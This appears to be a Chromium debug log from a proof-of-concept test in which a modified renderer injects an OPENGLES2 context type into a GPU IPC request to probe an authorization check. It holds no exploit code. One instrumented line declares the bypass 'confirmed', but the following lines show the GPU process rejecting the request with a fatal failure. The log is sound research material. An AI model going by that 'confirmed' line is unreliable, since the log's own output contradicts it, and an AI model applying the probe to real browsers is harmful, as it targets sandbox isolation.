[2864:2864:0402/072455.854607:ERROR:ui/gl/gl_context_egl.cc:211] [POC-EGL] Passing EGL_CONTEXT_WEBGL_COMPATIBILITY_ANGLE=EGL_FALSE to ANGLE eglCreateContext. ANGLE Context::isWebGL() will return false.
[2864:2864:0402/072455.863355:ERROR:ui/gl/gl_context_egl.cc:211] [POC-EGL] Passing EGL_CONTEXT_WEBGL_COMPATIBILITY_ANGLE=EGL_FALSE to ANGLE eglCreateContext. ANGLE Context::isWebGL() will return false.
[2864:2864:0402/072455.880222:ERROR:ui/gl/gl_context_egl.cc:211] [POC-EGL] Passing EGL_CONTEXT_WEBGL_COMPATIBILITY_ANGLE=EGL_FALSE to ANGLE eglCreateContext. ANGLE Context::isWebGL() will return false.
[2864:2864:0402/072455.911940:ERROR:ui/gl/gl_context_egl.cc:211] [POC-EGL] Passing EGL_CONTEXT_WEBGL_COMPATIBILITY_ANGLE=EGL_FALSE to ANGLE eglCreateContext. ANGLE Context::isWebGL() will return false.
[2926:2926:0402/072457.014225:ERROR:services/viz/public/cpp/gpu/context_provider_command_buffer.cc:151] [POC-RENDERER] Overriding context_type to CONTEXT_TYPE_OPENGLES2 (value=2) in CreateCommandBuffer IPC. Legitimate renderers only ever send WEBGL1/WEBGL2.
[2864:2864:0402/072457.018833:ERROR:gpu/ipc/service/gpu_channel.cc:992] [POC-GPU-IPC] GpuChannel::CreateCommandBuffer received GLES request: context_type=OPENGLES2 (int=2) is_gpu_host_=0 client_id_=5
[2864:2864:0402/072457.019387:ERROR:gpu/ipc/service/gpu_channel.cc:999] [POC-GPU-IPC] *** CWE-863 BYPASS CONFIRMED *** Non-gpu-host client (compromised renderer) requested CONTEXT_TYPE_OPENGLES2 and the GPU process is accepting it. No is_gpu_host_ gate exists at this IPC boundary.
[2864:2864:0402/072457.019750:ERROR:gpu/ipc/service/gpu_channel.cc:1017] ContextResult::kFatalFailure: non-gpu-host client requested non-WebGL GLES context type OPENGLES2
[2832:2832:0402/072457.165842:INFO:CONSOLE:14] "[POC-JS] Requesting WebGL context (renderer will inject CONTEXT_TYPE_OPENGLES2)", source: http://127.0.0.1:8080/poc.html (14)
[2832:2832:0402/072457.167145:INFO:CONSOLE:14] "[POC-JS] getContext returned null", source: http://127.0.0.1:8080/poc.html (14)